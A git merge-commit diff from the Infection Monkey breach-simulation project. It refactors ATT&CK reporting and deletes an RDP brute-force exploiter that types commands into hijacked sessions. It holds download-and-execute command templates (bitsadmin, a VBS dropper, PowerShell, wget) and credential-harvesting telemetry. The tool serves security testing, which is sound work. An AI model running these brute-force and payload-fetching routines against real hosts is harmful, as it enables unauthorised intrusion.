Merge branch 'develop' into 400/zero-trust-mvp

This commit is contained in:
Shay Nehmad 2019-09-02 19:06:21 +03:00
commit a7c18437cd
41 changed files with 348 additions and 549 deletions

View File

@ -2,11 +2,13 @@
Thanks for your interest in making the Monkey -- and therefore, your network -- a better place!
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker](https://github.com/guardicore/monkey/issues).
Are you about to report a bug? Sorry to hear it. Here's our
[Issue tracker](https://github.com/guardicore/monkey/issues).
Please try to be as specific as you can about your problem; try to include steps
to reproduce. While we'll try to help anyway, focusing us will help us help you faster.
If you want to contribute new code or fix bugs..
If you want to contribute new code or fix bugs, please read the following sections. You can also contact us (the
maintainers of this project) at our [Slack channel](https://join.slack.com/t/infectionmonkey/shared_invite/enQtNDU5MjAxMjg1MjU1LTM2ZTg0ZDlmNWNlZjQ5NDI5NTM1NWJlYTRlMGIwY2VmZGMxZDlhMTE2OTYwYmZhZjM1MGZhZjA2ZjI4MzA1NDk).
## Submitting code
@ -20,7 +22,17 @@ The following is a *short* list of recommendations. PRs that don't match these c
* **Don't** leave your pull request description blank.
* **Do** license your code as GPLv3.
Also, please submit PRs to the develop branch.
Also, please submit PRs to the `develop` branch.
#### Unit tests
**Do** add unit tests if you think it fits. We place our unit tests in the same folder as the code, with the same
filename, followed by the _test suffix. So for example: `somefile.py` will be tested by `somefile_test.py`.
Please try to read some of the existing unit testing code, so you can see some examples.
#### Branch naming scheme
**Do** name your branches in accordance with GitFlow. The format is `ISSUE_#/BRANCH_NAME`; For example,
`400/zero-trust-mvp` or `232/improvment/hide-linux-on-cred-maps`.
## Issues
* **Do** write a detailed description of your bug and use a descriptive title.

View File

@ -30,7 +30,6 @@ The Infection Monkey uses the following techniques and exploits to propagate to
* Multiple exploit methods:
* SSH
* SMB
* RDP
* WMI
* Shellshock
* Conficker

View File

@ -62,7 +62,6 @@
"exploiter_classes": [
"SmbExploiter",
"WmiExploiter",
"RdpExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
@ -79,9 +78,6 @@
"remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT"
},
"rdp_grinder": {
"rdp_use_vbs_download": true
},
"sambacry": {
"sambacry_folder_paths_to_guess": [
"/",

View File

@ -606,20 +606,16 @@ fullTest.conf is a good config to start, because it covers all machines.
<td>2}p}aR]&amp;=M</td>
</tr>
<tr class="odd">
<td>Scan results:</td>
<td>Machine exploited using RDP grinder</td>
</tr>
<tr class="even">
<td>Servers config:</td>
<td><p>Remote desktop enabled</p>
<p>Admin users credentials:</p>
<p>m0nk3y, 2}p}aR]&amp;=M</p></td>
</tr>
<tr class="odd">
<tr class="even">
<td>Notes:</td>
<td></td>
</tr>
<tr class="even">
<tr class="odd">
<td></td>
<td></td>
</tr>
@ -649,7 +645,7 @@ fullTest.conf is a good config to start, because it covers all machines.
</tr>
<tr class="even">
<td>Servers config:</td>
<td><p>Has cashed mimikatz-15 RDP credentials</p>
<td><p>Has cached mimikatz-15 RDP credentials</p>
<p><a href="https://social.technet.microsoft.com/Forums/windows/en-US/8160d62b-0f5d-48a3-9fe9-5cd319837917/how-te-reenable-smb1-in-windows1o?forum=win10itprogeneral">SMB</a> turned on</p></td>
</tr>
<tr class="odd">

View File

@ -7,7 +7,7 @@ import json
__author__ = 'shay.nehmad'
class TestFilter_instance_data_from_aws_response(TestCase):
class TestFilterInstanceDataFromAwsResponse(TestCase):
def test_filter_instance_data_from_aws_response(self):
json_response_full = """
{

View File

@ -216,9 +216,6 @@ class Configuration(object):
user_to_add = "Monkey_IUSER_SUPPORT"
remote_user_pass = "Password1!"
# rdp exploiter
rdp_use_vbs_download = True
# User and password dictionaries for exploits.
def get_exploit_user_password_pairs(self):

View File

@ -63,7 +63,6 @@
"user_to_add": "Monkey_IUSER_SUPPORT",
"remote_user_pass": "Password1!",
"ping_scan_timeout": 10000,
"rdp_use_vbs_download": true,
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey",
"retry_failed_explotation": true,

View File

@ -80,7 +80,6 @@ class HostExploiter(object):
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
from infection_monkey.exploit.wmiexec import WmiExploiter
from infection_monkey.exploit.smbexec import SmbExploiter
from infection_monkey.exploit.rdpgrinder import RdpExploiter
from infection_monkey.exploit.sshexec import SSHExploiter
from infection_monkey.exploit.shellshock import ShellShockExploiter
from infection_monkey.exploit.sambacry import SambaCryExploiter

View File

@ -8,7 +8,7 @@ import json
import logging
import requests
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
DOWNLOAD_TIMEOUT
from infection_monkey.network.elasticfinger import ES_PORT
from common.data.network_consts import ES_SERVICE
@ -39,7 +39,7 @@ class ElasticGroovyExploiter(WebRCE):
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
exploit_config['dropper'] = True
exploit_config['url_extensions'] = ['_search?pretty']
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP}
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX +" " + BITSADMIN_CMDLINE_HTTP}
return exploit_config
def get_open_service_ports(self, port_list, names):

View File

@ -1,346 +0,0 @@
import os.path
import threading
import time
from logging import getLogger
import rdpy.core.log as rdpy_log
import twisted.python.log
from rdpy.core.error import RDPSecurityNegoFail
from rdpy.protocol.rdp import rdp
from twisted.internet import reactor
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey, build_monkey_commandline
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
from infection_monkey.utils import utf_to_ascii
__author__ = 'hoffer'
KEYS_INTERVAL = 0.1
MAX_WAIT_FOR_UPDATE = 120
KEYS_SENDER_SLEEP = 0.01
DOWNLOAD_TIMEOUT = 60
RDP_PORT = 3389
LOG = getLogger(__name__)
def twisted_log_func(*message, **kw):
if kw.get('isError'):
error_msg = 'Unknown'
if 'failure' in kw:
error_msg = kw['failure'].getErrorMessage()
LOG.error("Error from twisted library: %s" % (error_msg,))
else:
LOG.debug("Message from twisted library: %s" % (str(message),))
def rdpy_log_func(message):
LOG.debug("Message from rdpy library: %s" % (message,))
twisted.python.log.msg = twisted_log_func
rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
rdpy_log.log = rdpy_log_func
# thread for twisted reactor, create once.
global g_reactor
g_reactor = threading.Thread(target=reactor.run, args=(False,))
class ScanCodeEvent(object):
def __init__(self, code, is_pressed=False, is_special=False):
self.code = code
self.is_pressed = is_pressed
self.is_special = is_special
class CharEvent(object):
def __init__(self, char, is_pressed=False):
self.char = char
self.is_pressed = is_pressed
class SleepEvent(object):
def __init__(self, interval):
self.interval = interval
class WaitUpdateEvent(object):
def __init__(self, updates=1):
self.updates = updates
pass
def str_to_keys(orig_str):
result = []
for c in orig_str:
result.append(CharEvent(c, True))
result.append(CharEvent(c, False))
result.append(WaitUpdateEvent())
return result
class KeyPressRDPClient(rdp.RDPClientObserver):
def __init__(self, controller, keys, width, height, addr):
super(KeyPressRDPClient, self).__init__(controller)
self._keys = keys
self._addr = addr
self._update_lock = threading.Lock()
self._wait_update = False
self._keys_thread = threading.Thread(target=self._keysSender)
self._keys_thread.daemon = True
self._width = width
self._height = height
self._last_update = 0
self.closed = False
self.success = False
self._wait_for_update = None
def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
update_time = time.time()
self._update_lock.acquire()
self._last_update = update_time
self._wait_for_update = False
self._update_lock.release()
def _keysSender(self):
LOG.debug("Starting to send keystrokes")
while True:
if self.closed:
return
if len(self._keys) == 0:
reactor.callFromThread(self._controller.close)
LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port)
return
key = self._keys[0]
self._update_lock.acquire()
time_diff = time.time() - self._last_update
if type(key) is WaitUpdateEvent:
self._wait_for_update = True
self._update_lock.release()
key.updates -= 1
if key.updates == 0:
self._keys = self._keys[1:]
elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
self._wait_for_update = False
self._update_lock.release()
if type(key) is ScanCodeEvent:
reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed,
key.is_special)
elif type(key) is CharEvent:
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
elif type(key) is SleepEvent:
time.sleep(key.interval)
self._keys = self._keys[1:]
else:
self._update_lock.release()
time.sleep(KEYS_SENDER_SLEEP)
def onReady(self):
time.sleep(1)
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), True)
time.sleep(1)
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), False)
time.sleep(1)
pass
def onClose(self):
self.success = len(self._keys) == 0
self.closed = True
def onSessionReady(self):
LOG.debug("Logged in, session is ready for work")
self._last_update = time.time()
self._keys_thread.start()
class CMDClientFactory(rdp.ClientFactory):
def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359):
self._username = username
self._password = password
self._domain = domain
self._keyboard_layout = "en"
# key sequence: WINKEY+R,cmd /v,Enter,<command>&exit,Enter
self._keys = [SleepEvent(1),
ScanCodeEvent(91, True, True),
ScanCodeEvent(19, True),
ScanCodeEvent(19, False),
ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \
[WaitUpdateEvent(), ScanCodeEvent(28, True),
ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command + "&exit") + \
[WaitUpdateEvent(), ScanCodeEvent(28, True),
ScanCodeEvent(28, False), WaitUpdateEvent()]
self._optimized = optimized
self._security = rdp.SecurityLevel.RDP_LEVEL_NLA
self._nego = True
self._client = None
self._width = width
self._height = height
self.done_event = threading.Event()
self.success = False
def buildObserver(self, controller, addr):
"""
@summary: Build RFB observer
We use a RDPClient as RDP observer
@param controller: build factory and needed by observer
@param addr: destination address
@return: RDPClientQt
"""
# create client observer
self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr)
controller.setUsername(self._username)
controller.setPassword(self._password)
controller.setDomain(self._domain)
controller.setKeyboardLayout(self._keyboard_layout)
controller.setHostname(addr.host)
if self._optimized:
controller.setPerformanceSession()
controller.setSecurityLevel(self._security)
return self._client
def clientConnectionLost(self, connector, reason):
# try reconnect with basic RDP security
if reason.type == RDPSecurityNegoFail and self._nego:
LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" %
(connector.host, connector.port))
# stop nego
self._nego = False
self._security = rdp.SecurityLevel.RDP_LEVEL_RDP
connector.connect()
return
LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port))
self.success = self._client.success
self.done_event.set()
def clientConnectionFailed(self, connector, reason):
LOG.debug("RDP connection to %s:%s failed, with error: %s" %
(connector.host, connector.port, reason.getErrorMessage()))
self.success = False
self.done_event.set()
class RdpExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = 'RDP'
def __init__(self, host):
super(RdpExploiter, self).__init__(host)
def is_os_supported(self):
if super(RdpExploiter, self).is_os_supported():
return True
if not self.host.os.get('type'):
is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
if is_open:
self.host.os['type'] = 'windows'
return True
return False
def _exploit_host(self):
global g_reactor
is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
if not is_open:
LOG.info("RDP port is closed on %r, skipping", self.host)
return False
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
if self._config.rdp_use_vbs_download:
command = RDP_CMDLINE_HTTP_VBS % {
'monkey_path': self._config.dropper_target_path_win_32,
'http_path': http_path, 'parameters': cmdline}
else:
command = RDP_CMDLINE_HTTP_BITS % {
'monkey_path': self._config.dropper_target_path_win_32,
'http_path': http_path, 'parameters': cmdline}
user_password_pairs = self._config.get_exploit_user_password_pairs()
if not g_reactor.is_alive():
g_reactor.daemon = True
g_reactor.start()
exploited = False
for user, password in user_password_pairs:
try:
# run command using rdp.
LOG.info("Trying RDP logging into victim %r with user %s and password (SHA-512) '%s'",
self.host, user, self._config.hash_sensitive_data(password))
LOG.info("RDP connected to %r", self.host)
user = utf_to_ascii(user)
password = utf_to_ascii(password)
command = utf_to_ascii(command)
client_factory = CMDClientFactory(user, password, "", command)
reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory)
client_factory.done_event.wait()
if client_factory.success:
if not self._config.rdp_use_vbs_download:
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
self.add_vuln_port(RDP_PORT)
exploited = True
self.report_login_attempt(True, user, password)
break
else:
# failed exploiting with this user/pass
self.report_login_attempt(False, user, password)
except Exception as exc:
LOG.debug("Error logging into victim %r with user"
" %s and password (SHA-512) '%s': (%s)", self.host,
user, self._config.hash_sensitive_data(password), exc)
continue
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
if not exploited:
LOG.debug("Exploiter RdpGrinder failed, rdp failed.")
return False
elif http_thread.downloads == 0:
LOG.debug("Exploiter RdpGrinder failed, http download failed.")
return False
LOG.info("Executed monkey '%s' on remote victim %r",
os.path.basename(src_path), self.host)
self.add_executed_cmd(command)
return True

View File

@ -309,7 +309,7 @@ class WebRCE(HostExploiter):
"""
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
LOG.info("Powershell not found in host. Using bitsadmin to download.")
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
backup_command = BITSADMIN_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
resp = self.exploit(url, backup_command)
return resp

View File

@ -12,14 +12,12 @@ GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
# Commands used for downloading monkeys
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
CHMOD_MONKEY = "chmod +x %(monkey_path)s"
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
# Commands used to check for architecture and if machine is exploitable

View File

@ -1,10 +1,11 @@
import logging
import subprocess
import socket
from infection_monkey.control import ControlClient
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
from infection_monkey.utils import is_windows_os
from infection_monkey.config import WormConfiguration
from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
LOG = logging.getLogger(__name__)
@ -46,8 +47,26 @@ class PBA(object):
"""
exec_funct = self._execute_default
result = exec_funct()
if self.scripts_were_used_successfully(result):
T1064Telem(ScanStatus.USED, "Scripts were used to execute %s post breach action." % self.name).send()
PostBreachTelem(self, result).send()
def is_script(self):
"""
Determines if PBA is a script (PBA might be a single command)
:return: True if PBA is a script(series of OS commands)
"""
return isinstance(self.command, list) and len(self.command) > 1
def scripts_were_used_successfully(self, pba_execution_result):
"""
Determines if scripts were used to execute PBA and if they succeeded
:param pba_execution_result: result of execution function. e.g. self._execute_default
:return: True if scripts were used, False otherwise
"""
pba_execution_succeeded = pba_execution_result[1]
return pba_execution_succeeded and self.is_script()
def _execute_default(self):
"""
Default post breach command execution routine

View File

@ -1,10 +1,7 @@
enum34
impacket
pycryptodome
pyasn1
cffi
twisted
rdpy
requests
odict
paramiko

View File

@ -1,10 +1,7 @@
enum34
impacket
pycryptodome
pyasn1
cffi
twisted
rdpy
requests
odict
paramiko

View File

@ -7,6 +7,7 @@ import subprocess
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
__author__ = 'danielg'
@ -58,6 +59,7 @@ class AzureCollector(object):
decrypt_raw = decrypt_proc.communicate(input=b64_result)[0]
decrypt_data = json.loads(decrypt_raw)
T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send()
T1064Telem(ScanStatus.USED, 'Bash scripts used to extract azure credentials.').send()
return decrypt_data['username'], decrypt_data['password']
except IOError:
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
@ -97,6 +99,7 @@ class AzureCollector(object):
password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1]
password = json.loads(password_raw)["Password"]
T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send()
T1064Telem(ScanStatus.USED, 'Powershell scripts used to extract azure credentials.').send()
return username, password
except IOError:
LOG.warning("Failed to parse VM Access plugin file. Could not open file")

View File

@ -63,5 +63,6 @@ class WindowsInfoCollector(InfoCollector):
if "credentials" in self.info:
self.info["credentials"].update(mimikatz_info)
self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text()
LOG.info('Mimikatz info gathered successfully')
else:
LOG.info('No mimikatz info was gathered')

View File

@ -0,0 +1,19 @@
from infection_monkey.telemetry.attack.usage_telem import AttackTelem
class T1064Telem(AttackTelem):
def __init__(self, status, usage):
"""
T1064 telemetry.
:param status: ScanStatus of technique
:param usage: Usage string
"""
super(T1064Telem, self).__init__('T1064', status)
self.usage = usage
def get_data(self):
data = super(T1064Telem, self).get_data()
data.update({
'usage': self.usage
})
return data

View File

@ -58,7 +58,6 @@ class AWSExporter(Exporter):
'wmi_password': AWSExporter._handle_wmi_password_issue,
'wmi_pth': AWSExporter._handle_wmi_pth_issue,
'ssh_key': AWSExporter._handle_ssh_key_issue,
'rdp': AWSExporter._handle_rdp_issue,
'shared_passwords_domain': AWSExporter._handle_shared_passwords_domain_issue,
'shared_admins_domain': AWSExporter._handle_shared_admins_domain_issue,
'strong_users_on_crit': AWSExporter._handle_strong_users_on_crit_issue,
@ -305,20 +304,6 @@ class AWSExporter(Exporter):
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod
def _handle_rdp_issue(issue, instance_arn):
return AWSExporter._build_generic_finding(
severity=1,
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
issue['username']),
recommendation="The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format(
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod
def _handle_shared_passwords_domain_issue(issue, instance_arn):

View File

@ -3,7 +3,7 @@ import logging
from monkey_island.cc.models import Monkey
from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082
from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188
from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016
from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016, T1021, T1064
from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.database import mongo
@ -33,7 +33,10 @@ TECHNIQUES = {'T1210': T1210.T1210,
'T1222': T1222.T1222,
'T1005': T1005.T1005,
'T1018': T1018.T1018,
'T1016': T1016.T1016}
'T1016': T1016.T1016,
'T1021': T1021.T1021,
'T1064': T1064.T1064
}
REPORT_NAME = 'new_report'

View File

@ -48,6 +48,15 @@ SCHEMA = {
"necessary": True,
"description": "Files may be copied from one system to another to stage "
"adversary tools or other files over the course of an operation."
},
"T1021": {
"title": "T1021 Remote services",
"type": "bool",
"value": True,
"necessary": False,
"depends_on": ["T1110"],
"description": "An adversary may use Valid Accounts to log into a service"
" specifically designed to accept remote connections."
}
}
},
@ -62,7 +71,7 @@ SCHEMA = {
"necessary": False,
"description": "Adversaries may use brute force techniques to attempt access to accounts "
"when passwords are unknown or when password hashes are obtained.",
"depends_on": ["T1210"]
"depends_on": ["T1210", "T1021"]
},
"T1003": {
"title": "T1003 Credential dumping",
@ -164,6 +173,14 @@ SCHEMA = {
"necessary": True,
"description": "Adversaries can use PowerShell to perform a number of actions,"
" including discovery of information and execution of code.",
},
"T1064": {
"title": "T1064 Scripting",
"type": "bool",
"value": True,
"necessary": True,
"description": "Adversaries may use scripts to aid in operations and "
"perform multiple actions that would otherwise be manual.",
}
}
},

View File

@ -0,0 +1,51 @@
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
__author__ = "VakarisZ"
class T1021(AttackTechnique):
tech_id = "T1021"
unscanned_msg = "Monkey didn't try to login to any remote services."
scanned_msg = "Monkey tried to login to remote services with valid credentials, but failed."
used_msg = "Monkey successfully logged into remote services on the network."
# Gets data about brute force attempts
query = [{'$match': {'telem_category': 'exploit',
'data.attempts': {'$not': {'$size': 0}}}},
{'$project': {'_id': 0,
'machine': '$data.machine',
'info': '$data.info',
'attempt_cnt': {'$size': '$data.attempts'},
'attempts': {'$filter': {'input': '$data.attempts',
'as': 'attempt',
'cond': {'$eq': ['$$attempt.result', True]}
}
}
}
}]
scanned_query = {'telem_category': 'exploit',
'data.attempts': {'$elemMatch': {'result': True}}}
@staticmethod
def get_report_data():
attempts = []
if mongo.db.telemetry.count_documents(T1021.scanned_query):
attempts = list(mongo.db.telemetry.aggregate(T1021.query))
if attempts:
status = ScanStatus.USED.value
for result in attempts:
result['successful_creds'] = []
for attempt in result['attempts']:
result['successful_creds'].append(parse_creds(attempt))
else:
status = ScanStatus.SCANNED.value
else:
status = ScanStatus.UNSCANNED.value
data = T1021.get_base_data_by_status(status)
data.update({'services': attempts})
return data

View File

@ -1,5 +1,4 @@
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import UsageTechnique
from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
__author__ = "VakarisZ"

View File

@ -0,0 +1,18 @@
from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
from monkey_island.cc.database import mongo
__author__ = "VakarisZ"
class T1064(UsageTechnique):
tech_id = "T1064"
unscanned_msg = "Monkey didn't run scripts or tried to run and failed."
scanned_msg = ""
used_msg = "Monkey ran scripts on machines in the network."
@staticmethod
def get_report_data():
data = T1064.get_tech_base_data()
script_usages = list(mongo.db.telemetry.aggregate(T1064.get_usage_query()))
data.update({'scripts': script_usages})
return data

View File

@ -10,7 +10,7 @@ class T1090(AttackTechnique):
tech_id = "T1090"
unscanned_msg = "Monkey didn't use connection proxy."
scanned_msg = ""
used_msg = "Monkey used connection proxy."
used_msg = "Monkey used connection proxy to communicate with machines on the network."
@staticmethod
def get_report_data():

View File

@ -1,4 +1,4 @@
from monkey_island.cc.services.attack.technique_reports import UsageTechnique
from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
__author__ = "VakarisZ"

View File

@ -1,7 +1,7 @@
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.encryptor import encryptor
from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
__author__ = "VakarisZ"
@ -32,7 +32,7 @@ class T1110(AttackTechnique):
result['successful_creds'] = []
for attempt in result['attempts']:
succeeded = True
result['successful_creds'].append(T1110.parse_creds(attempt))
result['successful_creds'].append(parse_creds(attempt))
if succeeded:
status = ScanStatus.USED.value
@ -47,47 +47,4 @@ class T1110(AttackTechnique):
data.update({'services': attempts})
return data
@staticmethod
def parse_creds(attempt):
"""
Parses used credentials into a string
:param attempt: login attempt from database
:return: string with username and used password/hash
"""
username = attempt['user']
creds = {'lm_hash': {'type': 'LM hash', 'output': T1110.censor_hash(attempt['lm_hash'])},
'ntlm_hash': {'type': 'NTLM hash', 'output': T1110.censor_hash(attempt['ntlm_hash'], 20)},
'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']},
'password': {'type': 'Plaintext password', 'output': T1110.censor_password(attempt['password'])}}
for key, cred in creds.items():
if attempt[key]:
return '%s ; %s : %s' % (username,
cred['type'],
cred['output'])
@staticmethod
def censor_password(password, plain_chars=3, secret_chars=5):
"""
Decrypts and obfuscates password by changing characters to *
:param password: Password or string to obfuscate
:param plain_chars: How many plain-text characters should be kept at the start of the string
:param secret_chars: How many * symbols should be used to hide the remainder of the password
:return: Obfuscated string e.g. Pass****
"""
if not password:
return ""
password = encryptor.dec(password)
return password[0:plain_chars] + '*' * secret_chars
@staticmethod
def censor_hash(hash_, plain_chars=5):
"""
Decrypts and obfuscates hash by only showing a part of it
:param hash_: Hash to obfuscate
:param plain_chars: How many chars of hash should be shown
:return: Obfuscated string
"""
if not hash_:
return ""
hash_ = encryptor.dec(hash_)
return hash_[0: plain_chars] + ' ...'

View File

@ -1,5 +1,4 @@
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import UsageTechnique
from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
__author__ = "VakarisZ"

View File

@ -12,7 +12,7 @@ class T1145(AttackTechnique):
used_msg = "Monkey found ssh keys on machines in the network."
# Gets data about ssh keys found
query = [{'$match': {'telem_category': 'system_info_collection',
query = [{'$match': {'telem_category': 'system_info',
'data.ssh_info': {'$elemMatch': {'private_key': {'$exists': True}}}}},
{'$project': {'_id': 0,
'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'},

View File

@ -2,7 +2,7 @@ import abc
import logging
from monkey_island.cc.database import mongo
from common.utils.attack_utils import ScanStatus, UsageEnum
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.attack_config import AttackConfig
from common.utils.code_utils import abstractstatic
@ -115,47 +115,3 @@ class AttackTechnique(object):
data = cls.get_message_and_status(status)
data.update({'title': cls.technique_title()})
return data
class UsageTechnique(AttackTechnique):
__metaclass__ = abc.ABCMeta
@staticmethod
def parse_usages(usage):
"""
Parses data from database and translates usage enums into strings
:param usage: Usage telemetry that contains fields: {'usage': 'SMB', 'status': 1}
:return: usage string
"""
try:
usage['usage'] = UsageEnum[usage['usage']].value[usage['status']]
except KeyError:
logger.error("Error translating usage enum. into string. "
"Check if usage enum field exists and covers all telem. statuses.")
return usage
@classmethod
def get_usage_data(cls):
data = list(mongo.db.telemetry.aggregate(cls.get_usage_query()))
return list(map(cls.parse_usages, data))
@classmethod
def get_usage_query(cls):
"""
:return: Query that parses attack telems for simple report component
(gets machines and attack technique usage).
"""
return [{'$match': {'telem_category': 'attack',
'data.technique': cls.tech_id}},
